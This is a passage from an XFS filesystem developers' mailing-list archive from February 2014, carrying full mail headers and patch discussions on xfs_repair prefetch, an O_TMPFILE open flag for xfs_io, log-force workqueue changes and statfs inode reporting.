X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145327 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Feb 20, 2014 at 01:06:02PM -0600, Eric Sandeen wrote: > On 2/19/14, 11:55 PM, Dave Chinner wrote: > > From: Dave Chinner > > > > When discontiguous directory buffer support was fixed in xfs_repair, > > (dd9093d xfs_repair: fix discontiguous directory block support) > > it changed to using libxfs_getbuf_map() to support mapping > > discontiguous blocks, and the prefetch code special cased such > > discontiguous buffers. > > > > The issue is that libxfs_getbuf_map() marks all buffers, even > > contiguous ones - as LIBXFS_B_DISCONTIG, and so the prefetch code > > was treating every buffer as discontiguous. This causes the prefetch > > code to completely bypass the large IO optimisations for dense areas > > of metadata. Because there was no obvious change in performance or > > IO patterns, this wasn't noticed during performance testing. > > > > However, this change mysteriously fixed a regression in xfs/033 in > > the v3.2.0-alpha release, and this change in behaviour was > > discovered as part of triaging why it "fixed" the regression. > > Anyway, restoring the large IO prefetch optimisation results > > a reapiron a 10 million inode filesystem dropping from 197s to 173s, > > and the peak IOPS rate in phase 3 dropping from 25,000 to roughly > > 2,000 by trading off a bandwidth increase of roughly 100% (i.e. > > 200MB/s to 400MB/s). Phase 4 saw similar changes in IO profile and > > speed increases. > > > > This, however, re-introduces the regression in xfs/033, which will > > now be fixed in a separate patch. > > Thanks for finding this. I was getting close. ;) > > It seems fine, although a little unexpected; why do we ever > create a map of 1? It feels a little odd to call getbuf_map > with only 1 item, and then short-circuit it. Should this > be something more obvious in the callers? Because we have application code that is building buffer maps from extent maps, and so having a API for both contigous and discontiguous buffers makes sense. That's the way we do it in the kernel - everything now uses the _map paths - but the userspace code is a much larger surface area to change over and so it's only being done in the places that matter first... > Wel, I guess it's pretty much consistent w/ the same behavior > in libxfs_readbuf_map()... *shrug* Right. And like I said, it's also how the kernel does stuff, which is why the libxfs_readbuf_map code functions like it does. ;) Cheers, Dave. -- Dave Chinner david@fromorbit.com From BATV+e074e71b01c5f6abf4de+3833+infradead.org+hch@bombadil.srs.infradead.org Thu Feb 20 16:00:02 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id AFC067F85 for ; Thu, 20 Feb 2014 16:00:02 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 3C664AC00D for ; Thu, 20 Feb 2014 14:00:02 -0800 (PST) X-ASG-Debug-ID: 1392933600-04bdf00fc02032b0001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id 1FCYdSAfzt4TtmwI (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 20 Feb 2014 14:00:00 -0800 (PST) X-Barracuda-Envelope-From: BATV+e074e71b01c5f6abf4de+3833+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WGbey-0004ZG-Fd for xfs@oss.sgi.com; Thu, 20 Feb 2014 22:00:00 +0000 Date: Thu, 20 Feb 2014 14:00:00 -0800 From: Christoph Hellwig To: xfs@oss.sgi.com Subject: [PATCH] xfs_io: add support for O_TMPFILE opens Message-ID: <20140220220000.GA17541@infradead.org> X-ASG-Orig-Subj: [PATCH] xfs_io: add support for O_TMPFILE opens MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1392933600 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145329 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 Add a new -T argument to the open command that supports using the O_TMPFILE flag. Signed-off-by: Christoph Hellwig diff --git a/io/io.h b/io/io.h index 6c3f627..0d2d768 100644 --- a/io/io.h +++ b/io/io.h @@ -35,6 +35,7 @@ #define IO_TRUNC (1<<6) #define IO_FOREIGN (1<<7) #define IO_NONBLOCK (1<<8) +#define IO_TMPFILE (1<<9) /* * Regular file I/O control diff --git a/io/open.c b/io/open.c index cc677e6..c97968e 100644 --- a/io/open.c +++ b/io/open.c @@ -22,6 +22,22 @@ #include "init.h" #include "io.h" +#ifndef __O_TMPFILE +#if defined __alpha__ +#define __O_TMPFILE 0100000000 +#elif defined(__hppa__) +#define __O_TMPFILE 040000000 +#elif defined(__sparc__) +#define __O_TMPFILE 0x2000000 +#else +#define __O_TMPFILE 020000000 +#endif +#endif /* __O_TMPFILE */ + +#ifndef O_TMPFILE +#define O_TMPFILE (__O_TMPFILE | O_DIRECTORY) +#endif + static cmdinfo_t open_cmd; static cmdinfo_t stat_cmd; static cmdinfo_t close_cmd; @@ -143,10 +159,13 @@ openfile( oflags |= O_TRUNC; if (flags & IO_NONBLOCK) oflags |= O_NONBLOCK; + if (flags & IO_TMPFILE) + oflags |= O_TMPFILE; fd = open(path, oflags, mode); if (fd < 0) { - if ((errno == EISDIR) && (oflags & O_RDWR)) { + if (errno == EISDIR && + ((oflags & (O_RDWR|O_TMPFILE)) == O_RDWR)) { /* make it as if we asked for O_RDONLY & try again */ oflags &= ~O_RDWR; oflags |= O_RDONLY; @@ -248,6 +267,7 @@ open_help(void) " -s -- open with O_SYNC\n" " -t -- open with O_TRUNC (truncate the file to zero length if it exists)\n" " -R -- mark the file as a realtime XFS file immediately after opening it\n" +" -T -- open with O_TMPFILE (create a file not visible in the namespace)\n" " Note1: usually read/write direct IO requests must be blocksize aligned;\n" " some kernels, however, allow sectorsize alignment for direct IO.\n" " Note2: the bmap for non-regular files can be obtained provided the file\n" @@ -272,7 +292,7 @@ open_f( return 0; } - while ((c = getopt(argc, argv, "FRacdfm:nrstx")) != EOF) { + while ((c = getopt(argc, argv, "FRTacdfm:nrstx")) != EOF) { switch (c) { case 'F': /* Ignored / deprecated now, handled automatically */ @@ -310,6 +330,9 @@ open_f( case 'x': /* backwards compatibility */ flags |= IO_REALTIME; break; + case 'T': + flags |= IO_TMPFILE; + break; default: return command_usage(&open_cmd); } @@ -325,6 +348,11 @@ open_f( if (!platform_test_xfs_fd(fd)) flags |= IO_FOREIGN; + if ((flags & (IO_READONLY|IO_TMPFILE)) == (IO_READONLY|IO_TMPFILE)) { + fprintf(stderr, _("-T and -r options are incompatible\n")); + return -1; + } + addfile(argv[optind], fd, &geometry, flags); return 0; } @@ -731,7 +759,7 @@ open_init(void) open_cmd.argmin = 0; open_cmd.argmax = -1; open_cmd.flags = CMD_NOMAP_OK | CMD_NOFILE_OK | CMD_FOREIGN_OK; - open_cmd.args = _("[-acdrstx] [path]"); + open_cmd.args = _("[-acdrstxT] [path]"); open_cmd.oneline = _("open the file specified by path"); open_cmd.help = open_help; diff --git a/man/man8/xfs_io.8 b/man/man8/xfs_io.8 index 9543b20..124360d 100644 --- a/man/man8/xfs_io.8 +++ b/man/man8/xfs_io.8 @@ -88,7 +88,7 @@ command for more details on any command. Display a list of all open files and (optionally) switch to an alternate current open file. .TP -.BI "open [[ \-acdfrstR ] " path " ]" +.BI "open [[ \-acdfrstRT ] " path " ]" Closes the current file, and opens the file specified by .I path instead. Without any arguments, displays statistics about the current @@ -119,6 +119,14 @@ truncates on open (O_TRUNC). .B \-n opens in non-blocking mode if possible (O_NONBLOCK). .TP +.B \-T +create a temporary file not linked into the filesystem namepspace +(O_TMPFILE). The pathname passed must refer to a directory which +is treated as virtual parent for the newly created invisible file. +Can not be used together with the +.B \-r +option. +.TP .B \-R marks the file as a realtime XFS file after opening it, if it is not already marked as such. From david@fromorbit.com Thu Feb 20 16:07:56 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id CDCEA7F99 for ; Thu, 20 Feb 2014 16:07:56 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id B7945304087 for ; Thu, 20 Feb 2014 14:07:53 -0800 (PST) X-ASG-Debug-ID: 1392934070-04cb6c6de16329c0001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id Lble4W4X6U8PPiCC for ; Thu, 20 Feb 2014 14:07:51 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AsMHAGl7BlN5LJYe/2dsb2JhbABZgwa7T4VRgRAXdIIlAQEEAScTHCMFCwgDFQMJJQ8FJQMhE4d9B805FxaOTgeEOASYL5Ilg0Eo Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl2.internode.on.net with ESMTP; 21 Feb 2014 08:37:49 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WGbmV-000312-7R; Fri, 21 Feb 2014 09:07:47 +1100 Date: Fri, 21 Feb 2014 09:07:47 +1100 From: Dave Chinner To: Mark Tinguely Cc: Brian Foster , xfs@oss.sgi.com Subject: Re: [PATCH 1/3] xfs: always do log forces via the workqueue Message-ID: <20140220220747.GQ4916@dastard> X-ASG-Orig-Subj: Re: [PATCH 1/3] xfs: always do log forces via the workqueue References: <1392783402-4726-1-git-send-email-david@fromorbit.com> <1392783402-4726-2-git-send-email-david@fromorbit.com> <5304F6F6.3070007@redhat.com> <20140220002358.GH4916@dastard> <5306168B.8080209@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <5306168B.8080209@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1392934070 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145329 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Feb 20, 2014 at 08:51:55AM -0600, Mark Tinguely wrote: > On 02/19/14 18:23, Dave Chinner wrote: > >On Wed, Feb 19, 2014 at 01:24:54PM -0500, Brian Foster wrote: > >>On 02/18/2014 11:16 PM, Dave Chinner wrote: > >>>From: Dave Chinner > >>> > >>>Log forces can occur deep in the call chain when we have relatively > >>>little stack free. Log forces can also happen at close to the call > >>>chain leaves (e.g. xfs_buf_lock()) and hence we can trigger IO from > >>>places where we really don't want to add more stack overhead. > >>> > >>>This stack overhead occurs because log forces do foreground CIL > >>>pushes (xlog_cil_push_foreground()) rather than waking the > >>>background push wq and waiting for the for the push to complete. > >>>This foreground push was done to avoid confusing the CFQ Io > >>>scheduler when fsync()s were issued, as it has trouble dealing with > >>>dependent IOs being issued from different process contexts. > >>> > >>>Avoiding blowing the stack is much more critical than performance > >>>optimisations for CFQ, especially as we've been recommending against > >>>the use of CFQ for XFS since 3.2 kernels were release because of > >>>it's problems with multi-threaded IO workloads. > >>> > >>>Hence convert xlog_cil_push_foreground() to move the push work > >>>to the CIL workqueue. We already do the waiting for the push to > >>>complete in xlog_cil_force_lsn(), so there's nothing else we need to > >>>modify to make this work. > >>> > >>>Signed-off-by: Dave Chinner ..... > >>>@@ -803,7 +808,6 @@ xlog_cil_force_lsn( > >>> * before allowing the force of push_seq to go ahead. Hence block > >>> * on commits for those as well. > >>> */ > >>>-restart: > >>> spin_lock(&cil->xc_push_lock); > >>> list_for_each_entry(ctx,&cil->xc_committing, committing) { > >>> if (ctx->sequence> sequence) > >>>@@ -821,6 +825,28 @@ restart: > >>> /* found it! */ > >>> commit_lsn = ctx->commit_lsn; > >>> } > >>>+ > >>>+ /* > >>>+ * The call to xlog_cil_push_now() executes the push in the background. > >>>+ * Hence by the time we have got here it our sequence may not have been > >>>+ * pushed yet. This is true if the current sequence still matches the > >>>+ * push sequence after the above wait loop and the CIL still contains > >>>+ * dirty objects. > >>>+ * > >>>+ * When the push occurs, it will empty the CIL and > >>>+ * atomically increment the currect sequence past the push sequence and > >>>+ * move it into the committing list. Of course, if the CIL is clean at > >>>+ * the time of the push, it won't have pushed the CIL at all, so in that > >>>+ * case we should try the push for this sequence again from the start > >>>+ * just in case. > >>>+ */ > >>>+ > >>>+ if (sequence == cil->xc_current_sequence&& ^^^^^ FYI, your mailer is still mangling whitespace when quoting code.... > >>>+ !list_empty(&cil->xc_cil)) { > >>>+ spin_unlock(&cil->xc_push_lock); > >>>+ goto restart; > >>>+ } > >>>+ > >> > >>IIUC, the objective here is to make sure we don't leave this code path > >>before the push even starts and the ctx makes it onto the committing > >>list, due to xlog_cil_push_now() moving things to a workqueue. > > > >Right. > > > >>Given that, what's the purpose of re-executing the background push as > >>opposed to restarting the wait sequence (as done previously)? It looks > >>like push_now() won't queue the work again due to cil->xc_push_seq, but > >>it will flush the queue and I suppose make it more likely the push > >>starts. Is that the intent? > > > >Effectively. But the other thing that it is protecting against is > >that foreground push is done without holding the cil->xc_ctx_lock, > >and so we can get the situation where we try a foreground push > >of the current sequence, see that the CIL is empty and return > >without pushing, wait for previous sequences to commit, then find > >that the CIL has items on the CIL in the sequence we are supposed to > >be committing. > > > >In this case, we don't know if this occurred because the workqueue > >has not started working on our push, or whether we raced on an empty > >CIL, and hence we need to make sure that everything in the sequence > >we are support to commit is pushed to the log. > > > >Hence if the current sequence is dirty after we've ensure that all > >prior sequences are fully checkpointed, need to go back and > >push the CIL again to ensure that when we return to the caller the > >CIL is checkpointed up to the point in time of the log force > >occurring. > > The desired push sequence was taken from an item on the CIL (either > when added or from a pinned item). How could the CIL now be empty > other than someone else pushed to at least the desire sequence? The push sequence is only taken from an object on the CIL through xfs_log_force_lsn(). For xfs_log_force(), the sequence is taken directly from the current CIL context: static inline void xlog_cil_force(struct xlog *log) { xlog_cil_force_lsn(log, log->l_cilp->xc_current_sequence); } And that's how you get an empty CIL when entering xlog_cil_force_lsn(), and hence how you can get the race condition that the code is protecting against. > A flush_work() should be enough in the case where the ctx of the > desire sequence is not on the xc_committing list. The flush_work > will wait for the worker to start and place the ctx of the desired > sequence into the xc_committing list. This preventing a tight loop > waiting for the cil push worker to start. Yes, that's exactly what the code does. > Starting the cil push worker for every wakeup of smaller sequence in > the list_for_each_entry loop seems wasteful. As Brian pointed out, it won't restart on every wakeup - the cil->xc_push_seq checks prevent that from happening, so a specific sequence will only ever be queued for a push once. > We know the later error paths in xfs_cil_push() will not do a wake, > now is a good time to fix that. I'm not sure what you are talking about here. If there's a problem, please send patches. Cheers, Dave. -- Dave Chinner david@fromorbit.com From sandeen@redhat.com Thu Feb 20 16:12:23 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_FRT_FREE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 64C077F99 for ; Thu, 20 Feb 2014 16:12:23 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id E1B5CAC004 for ; Thu, 20 Feb 2014 14:12:19 -0800 (PST) X-ASG-Debug-ID: 1392934338-04cb6c6de0632e50001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id em0o3a64QzRZjh6u for ; Thu, 20 Feb 2014 14:12:18 -0800 (PST) X-Barracuda-Envelope-From: sandeen@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1KMCIHq015158 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 20 Feb 2014 17:12:18 -0500 Received: from liberator.sandeen.net (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s1KMCHNo015063 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO) for ; Thu, 20 Feb 2014 17:12:18 -0500 Message-ID: <53067DC0.9040800@redhat.com> Date: Thu, 20 Feb 2014 16:12:16 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: xfs-oss Subject: [PATCH] xfs: be honest about used inodes in statfs X-Enigmail-Version: 1.6 X-ASG-Orig-Subj: [PATCH] xfs: be honest about used inodes in statfs Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1392934338 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Because we have lazy counters, it's possible that we over-allocate inodes past the maxicount (imaxpct) limit. A previous commit, 2fe3366 xfs: ensure f_ffree returned by statfs() is non-negative stopped statfs from underflowing f_ffree in this case, but that only happened when we mis-reported f_files, capped at maxicount. Change statfs to report the actual number of inodes allocated, even if it is greater than maxicount. It's reality. Deal with it. ;) Signed-off-by: Eric Sandeen --- diff --git a/fs/xfs/xfs_super.c b/fs/xfs/xfs_super.c index f317488..7c7a810 100644 --- a/fs/xfs/xfs_super.c +++ b/fs/xfs/xfs_super.c @@ -1083,7 +1083,6 @@ xfs_fs_statfs( struct xfs_inode *ip = XFS_I(dentry->d_inode); __uint64_t fakeinos, id; xfs_extlen_t lsize; - __int64_t ffree; statp->f_type = XFS_SB_MAGIC; statp->f_namelen = MAXNAMELEN - 1; @@ -1100,17 +1099,24 @@ xfs_fs_statfs( statp->f_blocks = sbp->sb_dblocks - lsize; statp->f_bfree = statp->f_bavail = sbp->sb_fdblocks - XFS_ALLOC_SET_ASIDE(mp); + + /* Potential number of new inodes in free blocks */ fakeinos = statp->f_bfree << sbp->sb_inopblog; + /* Total possible files is current inodes + potential new inodes */ statp->f_files = MIN(sbp->sb_icount + fakeinos, (__uint64_t)XFS_MAXINUMBER); + /* Unless we have maxicount! Then cap it at that */ if (mp->m_maxicount) statp->f_files = min_t(typeof(statp->f_files), statp->f_files, mp->m_maxicount); - /* make sure statp->f_ffree does not underflow */ - ffree = statp->f_files - (sbp->sb_icount - sbp->sb_ifree); - statp->f_ffree = max_t(__int64_t, ffree, 0); + /* But if we already managed to allocate more, let's be honest */ + statp->f_files = max_t(typeof(statp->f_files), + sbp->sb_icount, + statp->f_files); + + statp->f_ffree = statp->f_files - (sbp->sb_icount - sbp->sb_ifree); spin_unlock(&mp->m_sb_lock); From BATV+e074e71b01c5f6abf4de+3833+infradead.org+hch@bombadil.srs.infradead.org Thu Feb 20 16:12:47 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D20F37F99 for ; Thu, 20 Feb 2014 16:12:47 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 6540AAC004 for ; Thu, 20 Feb 2014 14:12:47 -0800 (PST) X-ASG-Debug-ID: 1392934366-04bdf00fca204010001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id uLN9TF74c6mBApel (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 20 Feb 2014 14:12:46 -0800 (PST) X-Barracuda-Envelope-From: BATV+e074e71b01c5f6abf4de+3833+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WGbrK-0008Pa-0F for xfs@oss.sgi.com; Thu, 20 Feb 2014 22:12:46 +0000 Date: Thu, 20 Feb 2014 14:12:45 -0800 From: Christoph Hellwig To: xfs@oss.sgi.com Subject: testing flink (aka linkat(..., AT_EMPTY_PATH) Message-ID: <20140220221245.GA32288@infradead.org> X-ASG-Orig-Subj: testing flink (aka linkat(..., AT_EMPTY_PATH) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1392934366 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.60 X-Barracuda-Spam-Status: No, SCORE=2.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA606_RN_OB, BSF_SC5_MJ1963, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145329 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 2.00 BSF_SC0_SA606_RN_OB Custom Outbreak Rule SA606_RN_OB Turns out so far we aren't really do metadata operation in xfs_io and don't even have link/unlink. Should we starting adding these or where else should I start looking into adding support for exercising flink? From david@fromorbit.com Thu Feb 20 16:15:27 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 377F87FE5 for ; Thu, 20 Feb 2014 16:15:27 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 153558F8039 for ; Thu, 20 Feb 2014 14:15:24 -0800 (PST) X-ASG-Debug-ID: 1392934521-04cbb00c2b62c5b0001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id 1n4Hz5DcLiTEYWz4 for ; Thu, 20 Feb 2014 14:15:22 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AsIHAOV9BlN5LJYe/2dsb2JhbABZgwa7T4VRgRAXdIIlAQEFOhwjEAgDDgoJJQ8FJQMhE4gEzUAXFo5OB4Q4BJgvilCHVYNBKA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl2.internode.on.net with ESMTP; 21 Feb 2014 08:45:21 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WGbtm-00032D-KR; Fri, 21 Feb 2014 09:15:18 +1100 Date: Fri, 21 Feb 2014 09:15:18 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfs_io: add support for O_TMPFILE opens Message-ID: <20140220221518.GR4916@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs_io: add support for O_TMPFILE opens References: <20140220220000.GA17541@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140220220000.GA17541@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1392934521 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145329 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Feb 20, 2014 at 02:00:00PM -0800, Christoph Hellwig wrote: > Add a new -T argument to the open command that supports using the > O_TMPFILE flag. > > Signed-off-by: Christoph Hellwig Can you also push this into the main CLI interface similar to how all the other open flags can be specified? i.e. $ xfs_io -d -c "pwrite 0 4k" foo will open "foo" with O_DIRECT. Be nice just to be able to do $ xfs_io -dT -c "pwrite 0 4k" foo/ to be able to test O_TMPFILE functionality FWIW, any plans to add a "link" command to be able to link the tmpfile into the namespace once it is created? Cheers, Dave. -- Dave Chinner david@fromorbit.com From tinguely@sgi.com Thu Feb 20 16:35:39 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id B75EE7FC6 for ; Thu, 20 Feb 2014 16:35:39 -0600 (CST) Received: from eagdhcp-232-183.americas.sgi.com (eagdhcp-232-183.americas.sgi.com [128.162.232.183]) by relay1.corp.sgi.com (Postfix) with ESMTP id 690A98F8087; Thu, 20 Feb 2014 14:35:39 -0800 (PST) Message-ID: <5306833D.7080600@sgi.com> Date: Thu, 20 Feb 2014 16:35:41 -0600 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: Brian Foster , xfs@oss.sgi.com Subject: Re: [PATCH 1/3] xfs: always do log forces via the workqueue References: <1392783402-4726-1-git-send-email-david@fromorbit.com> <1392783402-4726-2-git-send-email-david@fromorbit.com> <5304F6F6.3070007@redhat.com> <20140220002358.GH4916@dastard> <5306168B.8080209@sgi.com> <20140220220747.GQ4916@dastard> In-Reply-To: <20140220220747.GQ4916@dastard> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 02/20/14 16:07, Dave Chinner wrote: > On Thu, Feb 20, 2014 at 08:51:55AM -0600, Mark Tinguely wrote: >> On 02/19/14 18:23, Dave Chinner wrote: >>> On Wed, Feb 19, 2014 at 01:24:54PM -0500, Brian Foster wrote: >>>> On 02/18/2014 11:16 PM, Dave Chinner wrote: >>>>> From: Dave Chinner >>>>> >>>>> Log forces can occur deep in the call chain when we have relatively >>>>> little stack free. Log forces can also happen at close to the call >>>>> chain leaves (e.g. xfs_buf_lock()) and hence we can trigger IO from >>>>> places where we really don't want to add more stack overhead. >>>>> >>>>> This stack overhead occurs because log forces do foreground CIL >>>>> pushes (xlog_cil_push_foreground()) rather than waking the >>>>> background push wq and waiting for the for the push to complete. >>>>> This foreground push was done to avoid confusing the CFQ Io >>>>> scheduler when fsync()s 